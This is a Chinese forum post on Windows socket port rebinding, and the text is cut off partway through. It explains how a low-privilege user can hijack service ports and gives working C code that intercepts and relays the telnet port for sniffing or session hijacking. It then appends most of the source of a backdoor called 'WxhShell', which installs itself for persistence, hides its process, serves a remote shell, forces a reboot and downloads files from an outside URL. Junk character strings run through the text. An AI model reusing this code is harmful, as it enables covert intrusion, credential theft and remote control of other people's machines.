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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y~FV2$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y./2Ely  
JfR %L q~  
  saddr.sin_family = AF_INET; m}X`> aD/  
1;{Rhu7* k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2RX!V@z.G  
hRCed4qA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]wtb-PC  
YxP&7oq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UX dUO@  
[Nk3|u`h  
  这意味着什么?意味着可以进行如下的攻击: l g-X:Z.  
~P@Q7T*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ypy68_xyW  
PS[+~>%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |]c8jG\h  
$f zaPD4.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 THS.GvT9[  
"T|PS 6R~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]bK=FIK2  
`5C,N!d8X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 og kD^   
dUQ DO o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t{.8|d@  
D}mjN=Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "OdXY"G  
WS`qVL]^&  
  #include 2Tagr1L  
  #include }&[  
  #include i(NdGL#P  
  #include    w$Rro)?}7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sNLs\4v  
  int main() aXoVy&x=  
  { (,8$V\  
  WORD wVersionRequested; [Lzw#XE  
  DWORD ret; oomT)gO 6*  
  WSADATA wsaData; Gy6l<:;  
  BOOL val; } x2DT8u  
  SOCKADDR_IN saddr; fc |GArL#}  
  SOCKADDR_IN scaddr; @CT;g\4  
  int err; FGoy8+nB1M  
  SOCKET s; _iir<}  
  SOCKET sc; dzDqZQY$  
  int caddsize; v^1pN>#%g  
  HANDLE mt; BDjn !3  
  DWORD tid;   r_-_a(1R:  
  wVersionRequested = MAKEWORD( 2, 2 );  {PVWD7  
  err = WSAStartup( wVersionRequested, &wsaData ); 4/wa+Y+=vt  
  if ( err != 0 ) { |%' nVxc4r  
  printf("error!WSAStartup failed!\n"); b4QI)z  
  return -1; IkGfnXJ  
  } J%,*is EL  
  saddr.sin_family = AF_INET; |563D#?cR  
   [@5Ytv H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5.MGaU^Z$  
;ShJi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |v$JCU3!A  
  saddr.sin_port = htons(23); H kQ) n3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /so8WRu.  
  { (G[ *|6m  
  printf("error!socket failed!\n"); TZY3tUx0|G  
  return -1; <OIIoB?t  
  } %'X[^W  
  val = TRUE; D"a~ #^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,&R/4 :I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -}KC=,]vh  
  { }n4V|f-  
  printf("error!setsockopt failed!\n"); lLF-{  
  return -1; (aH'h1,G  
  } 9R7 A8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z}MP)|aH:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /,g,Ch<d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uA#P'?  
z{o' G3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lc~%=  
  { d2H|LMhJ  
  ret=GetLastError(); 2fWTY0  
  printf("error!bind failed!\n"); `wDl<[V  
  return -1; ,uSQNre\j  
  } -@0GcUE:r  
  listen(s,2); -i%e!DgH  
  while(1) _N{RVeO  
  { @n{JM7ctJ  
  caddsize = sizeof(scaddr); u[DfzH  
  //接受连接请求 N-e @j4WU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); IX>d`O61*g  
  if(sc!=INVALID_SOCKET) \uaJ @{Vug  
  { <gQIq{B?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ir qZi1  
  if(mt==NULL) ):b$xNn  
  { GJoS #s  
  printf("Thread Creat Failed!\n"); x7eQ2h6O  
  break; 1$p2}Bf {n  
  } Q|D @Yd\  
  } '|Kmq5)  
  CloseHandle(mt); .O0 +H+  
  } p(/dBt[3k  
  closesocket(s); JYW)uJ  
  WSACleanup(); .K p  
  return 0; c+hQSm|bf)  
  }   paD!Z0v&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9Ru8~R/\  
  { B4i!/@0s  
  SOCKET ss = (SOCKET)lpParam; 8[E!E)4M  
  SOCKET sc; 3%%o?8ES  
  unsigned char buf[4096]; =9fajRFTt  
  SOCKADDR_IN saddr; f (F)1  
  long num; U qFv}VsnF  
  DWORD val; "saUai4z  
  DWORD ret; 6{^E{go  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Is{KN!Hw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,Q HU_jt  
  saddr.sin_family = AF_INET; u (em&M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 mmCp&~Z  
  saddr.sin_port = htons(23); ucG@?@JENm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6 1F(<!  
  { !3*(N8_|#  
  printf("error!socket failed!\n"); [&#/]Ul'  
  return -1; `CgaS#  
  } P dhEQ}H  
  val = 100; n8".XS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <7j87  
  { BA%pY|"Q  
  ret = GetLastError(); --|Wh^i>?  
  return -1; WYEKf9}  
  } k6sI L3QJ0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3G`aHTWk  
  { z6w3"9Um  
  ret = GetLastError(); ).sRv6/c  
  return -1; lna}@]oR  
  } =A!@6Nw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .`4{9?bR  
  { :"xzj<(  
  printf("error!socket connect failed!\n"); bqnNLs<N  
  closesocket(sc); L.jh   
  closesocket(ss); X bD4:i%  
  return -1; ^`)) C;  
  } &iA?+kV  
  while(1) +KvU$9Ad>  
  { RHO(?8"_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Pl"Nus   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s0k`p<q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n1VaLD  
  num = recv(ss,buf,4096,0); :F{:Z*Fi0  
  if(num>0) ;I}kQ!q  
  send(sc,buf,num,0); q(.:9A*0  
  else if(num==0) b;cdIl!3  
  break; C0}IE,]  
  num = recv(sc,buf,4096,0); bdF.qO9  
  if(num>0) -/g B|J  
  send(ss,buf,num,0); CJJzCVj  
  else if(num==0) :QB<?HaS'  
  break; 9&` 2V  
  } b/{t|io{  
  closesocket(ss); .tzG_  
  closesocket(sc); pm_u  
  return 0 ; fi$-;Gz  
  } /eOzXCSws  
Ct=- 4  
ZGYr$C~  
========================================================== O2f-5Y$@  
),ma_{$N  
下边附上一个代码,,WXhSHELL f'VX Y-  
i-6F:\;  
========================================================== +E.GLn2 /  
<oX7P69  
#include "stdafx.h" !WpBfd>v.I  
fH >NJK;  
#include <stdio.h> BC&9fr  
#include <string.h> !`M|C?b  
#include <windows.h> ?l^1 *Q,  
#include <winsock2.h> zN"J}r:  
#include <winsvc.h> Y#lk6  
#include <urlmon.h> 7U2J xE  
Ooq! 0g  
#pragma comment (lib, "Ws2_32.lib") Bb}fj28  
#pragma comment (lib, "urlmon.lib") A3iFI9Iv  
D(H>R&b!  
#define MAX_USER   100 // 最大客户端连接数 &qr;IL7'  
#define BUF_SOCK   200 // sock buffer ML8<4o  
#define KEY_BUFF   255 // 输入 buffer H s"HID  
:X]itTrGs  
#define REBOOT     0   // 重启 kMt 8/E`  
#define SHUTDOWN   1   // 关机 bj"J'  
jhg;%+KB  
#define DEF_PORT   5000 // 监听端口 ?)1{)Erf8x  
U}PiY"S<  
#define REG_LEN     16   // 注册表键长度 _G.>+!"2/  
#define SVC_LEN     80   // NT服务名长度 UM6(s@$  
"G@g" gP  
// 从dll定义API mM-8+H?~b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ktdW`R\+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $+3}po\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X7i/fm{l'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kT!9`S\  
/O^RF}  
// wxhshell配置信息 7El[ >  
struct WSCFG { t[oT-r  
  int ws_port;         // 监听端口 .On|uC)!  
  char ws_passstr[REG_LEN]; // 口令 5_z33,q2  
  int ws_autoins;       // 安装标记, 1=yes 0=no -cSP _1  
  char ws_regname[REG_LEN]; // 注册表键名 (;57Vw  
  char ws_svcname[REG_LEN]; // 服务名 hijgF@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GrAujc5|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vOc 9ZE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '_/Bp4i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fmiz,$O4?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x>*Drm 7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qASqscO  
d~`x )B(  
}; ZO)S`W  
7e#?e+5+A  
// default Wxhshell configuration yA.4G_|I  
struct WSCFG wscfg={DEF_PORT, KFvQ  
    "xuhuanlingzhe", j;fpQ_KL  
    1, .%Ta]!0  
    "Wxhshell", X~<("  
    "Wxhshell", *EZHJt9  
            "WxhShell Service", e*;c(3>(  
    "Wrsky Windows CmdShell Service", ulkJR-""&  
    "Please Input Your Password: ", /U"CO8Da  
  1, )Ib<F 7v  
  "http://www.wrsky.com/wxhshell.exe", *i- _6s  
  "Wxhshell.exe" r;Gi+Ca5  
    }; L.1_(3NG  
]b%Hy  
// 消息定义模块 V8HnUuz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pk3<|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6u`)QUmItg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }= 6'MjF]  
char *msg_ws_ext="\n\rExit."; 0VGPEKRh  
char *msg_ws_end="\n\rQuit."; L_+k12lm  
char *msg_ws_boot="\n\rReboot..."; !>e5z|1   
char *msg_ws_poff="\n\rShutdown..."; }c`fW&  
char *msg_ws_down="\n\rSave to "; # P?6@\  
>9(hUH  
char *msg_ws_err="\n\rErr!"; weE/TW\e  
char *msg_ws_ok="\n\rOK!"; <Gt2(;  
UF<uU-C"  
char ExeFile[MAX_PATH]; fe_yqIdk  
int nUser = 0; $n+w$CI)  
HANDLE handles[MAX_USER]; ]zQo>W$  
int OsIsNt; w[ !^;#  
gUpb4uN  
SERVICE_STATUS       serviceStatus; 3plzHz,x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "E8zh|m o  
J]G?Rc  
// 函数声明 =R Ah|e  
int Install(void); ALNc'MW!  
int Uninstall(void); -Gw$#!  
int DownloadFile(char *sURL, SOCKET wsh); 1QU:?_\6@t  
int Boot(int flag); kWe{r5C7  
void HideProc(void); }2uI?i8  
int GetOsVer(void); hvuIxqv!y  
int Wxhshell(SOCKET wsl); Nv/v$Z{k  
void TalkWithClient(void *cs);  y7$iOR  
int CmdShell(SOCKET sock); `KK>~T_$J  
int StartFromService(void); 1Lg-.-V  
int StartWxhshell(LPSTR lpCmdLine); y6IXdW  
kRTwaNDOD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _%B^9Yl3(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Q^P{  
>9q&PEc  
// 数据结构和表定义 &Ibu>di4[  
SERVICE_TABLE_ENTRY DispatchTable[] = (A?H1 9  
{ |d*&y#kV  
{wscfg.ws_svcname, NTServiceMain}, ewfP G,S  
{NULL, NULL} rfgI$eu   
}; S6+y?,^  
$P(v{W)  
// 自我安装 >OG:vw)E  
int Install(void) phn9:{TI  
{ nD)K}4  
  char svExeFile[MAX_PATH]; P4F3Dc  
  HKEY key; v|Yh w  
  strcpy(svExeFile,ExeFile); &g.+V/<[  
L. EiO({W  
// 如果是win9x系统,修改注册表设为自启动 VA9Gb 9  
if(!OsIsNt) { e#Z$o($t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( @3\`\X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tX@_fYb  
  RegCloseKey(key); F8uNL)gKj)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kH4Ai3#g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l"!Ko G7  
  RegCloseKey(key); p8\zG|b5  
  return 0; PC[c/CoD  
    } g-e #!(  
  } A%^w^f  
} 1xbK'i:-S  
else { w7FW^6Zl  
Pp| *J^U 4  
// 如果是NT以上系统,安装为系统服务 ;Wl+ zw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -,+q#F  
if (schSCManager!=0) CWNx4)ZGw  
{ qWx][D"  
  SC_HANDLE schService = CreateService (vB<%l.&  
  ( @E-\ J7 yh  
  schSCManager, * =wYuJ#  
  wscfg.ws_svcname, qqu.EE  
  wscfg.ws_svcdisp, V0%V5>  
  SERVICE_ALL_ACCESS, -W<vyNSr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^.hoLwp.  
  SERVICE_AUTO_START, +{/*z  
  SERVICE_ERROR_NORMAL, Q^q1 ns;r  
  svExeFile, F P>)&3>_  
  NULL, .'rW.'Ft  
  NULL, S=nP[s  
  NULL, cP}KU5j  
  NULL, _^ 'I  
  NULL xritonG/F  
  ); #~=hn8  
  if (schService!=0) i@B[ eta  
  { ~>:Z6Le@   
  CloseServiceHandle(schService); h?f>X"*|(  
  CloseServiceHandle(schSCManager); Ai/b\:V9S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wo3wtx  
  strcat(svExeFile,wscfg.ws_svcname); pFm=y#!t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ KRI'4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y8 KX<2s1  
  RegCloseKey(key); r} P<iX   
  return 0; c1_5, 1U'  
    } S_T1y  
  } ]a! xUg!S  
  CloseServiceHandle(schSCManager); 5 gv/Pq&  
} ! /NG.Wf  
} s-RQMK}H  
~j#]tElb  
return 1; OKP9CLg9  
} q-rB2  
8>.J1C  
// 自我卸载 ?  BE6  
int Uninstall(void) 6}(J6T46M[  
{ p<&Xd}]"^W  
  HKEY key; W0C@9&pn6  
}?@rO`:EF+  
if(!OsIsNt) { LS5vW|]w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C-?%uF  
  RegDeleteValue(key,wscfg.ws_regname); (^5 7UmFv]  
  RegCloseKey(key); e+]6OV&+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m "M("%  
  RegDeleteValue(key,wscfg.ws_regname); ncX/L[L  
  RegCloseKey(key); Kv rX{F=  
  return 0; 3 AHY|  
  } +R\vgE68  
} sT/c_^y  
} RC^9HuR&  
else { 5|I[>Su  
q\q=PB6r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bcjx>#3?L  
if (schSCManager!=0) `xc^_781\  
{ r&2~~_d3y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D!oc>K$B  
  if (schService!=0) %&Fk4Z}M  
  { )OLq_':^ @  
  if(DeleteService(schService)!=0) { TP}h~8 /;  
  CloseServiceHandle(schService); Hh4 n  
  CloseServiceHandle(schSCManager); Ic{F*nnM  
  return 0; `g_"GE  
  } /Ux*u#  
  CloseServiceHandle(schService); 0}:2Q#  
  } Y(+^;Y3U  
  CloseServiceHandle(schSCManager); c\q   
} r,]#b[:.s|  
} ;),BW g  
e } *0ghKI  
return 1; ~=wC wA|1  
} Dgql?+2$  
9M /SH$Qy  
// 从指定url下载文件 y')RT R{>M  
int DownloadFile(char *sURL, SOCKET wsh) k;EPpr-{  
{ c.|l-zAeX  
  HRESULT hr; H Y ynMP  
char seps[]= "/"; g'l?~s`SB  
char *token; DS2)@  
char *file; j6,ZEm  
char myURL[MAX_PATH]; IF +i3#$  
char myFILE[MAX_PATH]; 6ATtW+sN]  
/oL;YIoQX  
strcpy(myURL,sURL); ]=EM@  
  token=strtok(myURL,seps); X]y )ZF26  
  while(token!=NULL) Dl&GJ`&:p  
  { <X_!x_x  
    file=token; !~ZP{IXyo  
  token=strtok(NULL,seps); m,R Dr  
  } jDRe)bo4  
;c -3g]  
GetCurrentDirectory(MAX_PATH,myFILE); ;&b%Se@#p  
strcat(myFILE, "\\"); u0RS)&  
strcat(myFILE, file); %y<ejM  
  send(wsh,myFILE,strlen(myFILE),0); g2R@`./S  
send(wsh,"...",3,0); 6QNs\Ucb+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !'f3>W\   
  if(hr==S_OK) /:\3 \{?0m  
return 0; A;J MV+2N  
else >m'x8xB=  
return 1; 7$k8%lI;>  
Pz_NDI  
} tQ~WEC  
3S BZ>  
// 系统电源模块 o:Zd1"Z  
int Boot(int flag) d vOJW".  
{ i1oKrRv  
  HANDLE hToken; e.o;eD}"  
  TOKEN_PRIVILEGES tkp; *RR[H6B^]X  
 UkfB^hA  
  if(OsIsNt) { ir:d'g1k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }sxn72,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )ZejQ}$  
    tkp.PrivilegeCount = 1; ; U`X 6d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >~\w+^2f8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _}mK!_`  
if(flag==REBOOT) { *fO{ a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6e25V4e?I  
  return 0; eV6o3u:9  
} =3 +l  
else { p\bFdxv#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p{=QGrxB*  
  return 0; cE{ =(OQ  
} #)`A7 $/,  
  } 6<5Jq\-h  
  else { &,i~cG?  
if(flag==REBOOT) { oh#> 5cA8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3,);0@I  
  return 0; q6wr=OWD  
} N8!TZ~1$  
else { ]]cYLaq(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eeUp 1g  
  return 0; ze'.Y%]  
} fA^7^0![  
} 5]jIg < j  
`BnP[jF  
return 1; l9/:FiJ_  
} W3Ulewa  
b>~RSO*  
// win9x进程隐藏模块 z]Acs  
void HideProc(void) VG*'"y *%w  
{ sFb4`  
f]d!hz!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jbp5'e _  
  if ( hKernel != NULL ) E=/[s]@5  
  { C;a@Jjor'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^GYq#q9Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TK>{qxt:=  
    FreeLibrary(hKernel); nDlO5 pe"d  
  } T+RZ  
3SARr>HRyI  
return; T 4|jz<iK]  
} agd)ag4"[u  
F* #h9 Y  
// 获取操作系统版本 sIm#_+Y  
int GetOsVer(void) I}v]Zm9  
{ o6?l/nJ  
  OSVERSIONINFO winfo; y67uH4&Vm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kd;'}x=5yP  
  GetVersionEx(&winfo); Zj-BuE&@f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A1*4*  
  return 1; B50 [O!  
  else 1. SkIu%  
  return 0; H/+{e,SW"  
} Dw |3Z  
B#tdLv"I  
// 客户端句柄模块 =s'7$D}0.  
int Wxhshell(SOCKET wsl) Isovwd  
{ 8mgQu]>  
  SOCKET wsh; Z~3u:[x";  
  struct sockaddr_in client; jNy?[ )  
  DWORD myID; /#yA%0=w  
Q[s 2}Z!N;  
  while(nUser<MAX_USER) +$(0w35V5  
{ h39e)%x1  
  int nSize=sizeof(client); =w <VT%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); " >6&+^BN'  
  if(wsh==INVALID_SOCKET) return 1; *?8RXer  
)&.!3y 660  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j 0 Y  
if(handles[nUser]==0) +AK:(r  
  closesocket(wsh); /R%^rz'w  
else fr#Qz{  
  nUser++; yL"i  
  } #'>?:k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +8UdvMN  
pN$;!  
  return 0; \ $;~74}  
} Z5>V{o  
<F=Dj*]  
// 关闭 socket Lp~^*j(  
void CloseIt(SOCKET wsh) b~W)S/wF$P  
{ ZPF7m{S  
closesocket(wsh); Lht[g9  
nUser--; Tiprdvm<  
ExitThread(0); /{DaPqRa  
} C|6{fd4?  
lcig7%  
// 客户端请求句柄 e}Q>\t45  
void TalkWithClient(void *cs) vOgLEN&]  
{ '\L0xw4  
Wg(bD,  
  SOCKET wsh=(SOCKET)cs; pruWO'b`  
  char pwd[SVC_LEN]; {NeWdC  
  char cmd[KEY_BUFF]; a`38db(z  
char chr[1]; sA\L7`2H  
int i,j; gPUo25@pn*  
Ea4 * o  
  while (nUser < MAX_USER) { |yAK@ Hl'  
ycjJbL(.  
if(wscfg.ws_passstr) { B+Q+0tw*i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =xBT>h;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hwDXm9  
  //ZeroMemory(pwd,KEY_BUFF); p!GZCf,   
      i=0; MOyT< $  
  while(i<SVC_LEN) { a*Jn#Mx<M  
[tm[,VfA^  
  // 设置超时 966<I56+  
  fd_set FdRead; JmjxGcG  
  struct timeval TimeOut; lzoeST  
  FD_ZERO(&FdRead); VV\Xb31J  
  FD_SET(wsh,&FdRead); !2tw,QM  
  TimeOut.tv_sec=8; e;;):\p4  
  TimeOut.tv_usec=0; SKJW%(|3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~BQV]BJ7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bhx<g&|j  
_vIO !*h0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C.HYS S  
  pwd=chr[0]; k<,u0  
  if(chr[0]==0xd || chr[0]==0xa) { &GU@8  
  pwd=0; /p}{#DLB  
  break; L"^.0*X/d  
  } ~T&% VvI  
  i++; (!ZV9S  
    } L1F###c  
RnSm]}?  
  // 如果是非法用户,关闭 socket {Ve D@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SJOmeN}4)  
} *pK lA&_  
Oh-Fp-v87  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #~1wv^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $vqU|]J`  
2R] XH 0   
while(1) { YnD#p[Wo^  
*) } :l  
  ZeroMemory(cmd,KEY_BUFF); bHJoEYY^  
m8u=u4z("  
      // 自动支持客户端 telnet标准   I)rGOda{  
  j=0; 3XGB+$]C  
  while(j<KEY_BUFF) { blmmm(|~|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2x6<8J8v*  
  cmd[j]=chr[0]; Lxz  
  if(chr[0]==0xa || chr[0]==0xd) { :4iU^6  
  cmd[j]=0; Hy;901( %  
  break;  yIa[yJq  
  } nIR*_<ow  
  j++; +h|K[=l\  
    } E\_W  
v}&#f&q!  
  // 下载文件 UE{,.s  
  if(strstr(cmd,"http://")) { bk0Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IyT ?-R  
  if(DownloadFile(cmd,wsh)) $^K]&Mft  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p6 <}3m$  
  else M`bL5J;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r/^tzH's  
  } 0w'|d@*wV  
  else { }ymc5-  
9='=-;@/5  
    switch(cmd[0]) { IJldN6&\q  
  2 mSD"[%  
  // 帮助 7:h<`_HT(X  
  case '?': { #TIX_RXh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2k+= kt  
    break; q`cEA<~S  
  } .E#<fz  
  // 安装 ;hkro$  
  case 'i': { zdqnL^wb  
    if(Install()) {f&NStiB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ux<16#  
    else 4uX,uEa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {vLTeIxf.G  
    break; rv`2*B  
    } z^gi[ mi  
  // 卸载 yS+ (<  
  case 'r': { ,7t3>9 -M"  
    if(Uninstall()) ;FcExg|k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U%h7h`=F?  
    else 70duk:Ri0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qPqy4V. ;  
    break; Uld_X\;Q4  
    } 9e-*JYF]C  
  // 显示 wxhshell 所在路径 u >81dO]H  
  case 'p': { EZ..^M3  
    char svExeFile[MAX_PATH]; iwB8I^  
    strcpy(svExeFile,"\n\r"); 0Y[*lM-  
      strcat(svExeFile,ExeFile); ~Vwk:+):  
        send(wsh,svExeFile,strlen(svExeFile),0); m; 1'u;  
    break; <Kh?Ad>N  
    } ?_8%h`z  
  // 重启 k?o^5@b/  
  case 'b': { 2ve lH;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V;H d)v( j  
    if(Boot(REBOOT)) k{?!O\yY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%6(5,   
    else { `i=JjgG@  
    closesocket(wsh); Ft)t`E'%j  
    ExitThread(0); qo)Q}0  
    } T!Xm")d  
    break; 1]_?$)$T  
    } z~BD(FDI  
  // 关机 k& WS$R?u  
  case 'd': { GSC{F#:z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?]s%(R,B5  
    if(Boot(SHUTDOWN)) NY.}uZ  
